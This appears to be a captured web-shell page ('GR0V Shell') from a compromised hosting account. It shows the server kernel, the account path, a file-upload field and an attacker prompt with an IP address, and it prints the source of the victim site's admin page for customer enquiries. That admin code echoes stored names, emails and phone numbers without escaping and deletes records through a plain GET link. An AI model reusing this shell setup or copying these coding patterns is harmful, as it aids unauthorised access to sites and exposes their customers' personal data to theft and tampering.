? GR0V Shell

GR0V shell

Linux in-mum-web921.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64

Path : /home/u949514618/domains/karmaasrconsultants.com/public_html/admin/
File Upload :
Current File : /home/u949514618/domains/karmaasrconsultants.com/public_html/admin/enquirycontent.php

<div class="content-wrapper">
<form action="#" method="post">
    <!-- Content Header (Page header) -->
    <section class="content-header">
      <h1>
        All Enquiry
        <small> Details</small>
      </h1>
      
      <ol class="breadcrumb">
        <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
        <li class="active">Enquiry Details</li>
      </ol>
    </section>

    <!-- Main content -->
    <section class="content">
      <!-- Small boxes (Stat box) -->
      <div class="row">
        <div class="col-xs-12">

          <div class="box">
          <?php
		  $query = "select * from projectenquiry order by id desc";
		  $run = mysqli_query($con, $query);
		  if(mysqli_num_rows($run)>0)
		  {
		  ?>
            <div class="box-header">
              <h3 class="box-title">Enquiry Details</h3>
              <div class="clear"></div>
              <div class="col-md-6">
              
      </div>
      <div class="col-md-3"></div>
      
            </div>
            <!-- /.box-header -->
            <div class="box-body">
            <?php
			if(isset($error)){
				echo "<span style='color:red;' class='pull-right'>$error</span>";
			}
			else if(isset($msg)){
				echo "<span style='color:green;' class='pull-right'>$msg</span>";
			}
			?>
            
              <table id="example1" class="table table-bordered table-striped">
                <thead>
                <tr>
                <th><input type="checkbox" id="selectallboxes" /></th>
                  <th>Sr #</th>
                  <th>Course Opted</th>
                  <th>Name</th>
                  <th>Email ID</th>
                  <th>Contact Number</th>
                  <th>Date of Enquiry</th>
                  <th>Del</th>
                </tr>
                </thead>
                <tbody>
                <?php
				while($row=mysqli_fetch_array($run))
				{
					$id = $row['id'];
					$projectname = ucfirst($row['projectname']);
					$name = ucfirst($row['name']);
          $email = $row['email'];
					$tel = $row['tel'];
					$date = getdate($row['date1']);
					$day = $date['mday'];
					$month = substr($date['month'],0,3);
					$year = $date['year'];
				
				?>
                <tr>
                <td><input type="checkbox" class="checkboxes" name="checkboxes[]" value="<?php echo $id; ?>" /></td>
                  <td><?php echo $id; ?></td>
                  <td><?php echo $projectname; ?></td>
                  <td><?php echo $name; ?></td>
                  <td><?php echo $email; ?></td>
                  <td><?php echo $tel; ?></td>
                  <td><?php echo "$day $month $year"; ?></td>
                  <td><a href="viewallenquiry.php?del=<?php echo $id; ?>"><i class="fa fa-times"></i></a></td>
                </tr>
                <?php } ?>
                </tbody>
                <tfoot>
                <tr>
                <th><input type="checkbox" /></th>
                  <th>Sr #</th>
                  <th>Course Opted</th>
                  <th>Name</th>
                  <th>Email ID</th>
                  <th>Contact Number</th>
                  <th>Date of Enquiry</th>
                  <th>Del</th>
                </tr>
                </tfoot>
              </table>
            </div>
            <!-- /.box-body -->
            <?php 
			}
		  else
		  {
			  echo "<center><h3>No Enquiry Available!!</h3></center>";
		  }
			?>
          </div>
          <!-- /.box -->
        </div>
      </div>
      <!-- /.row -->
      <!-- Main row -->
      
      <!-- /.row (main row) -->

    </section>
    <!-- /.content -->
    </form>
  </div>

T1KUS90T
  root-grov@89.117.188.241:~$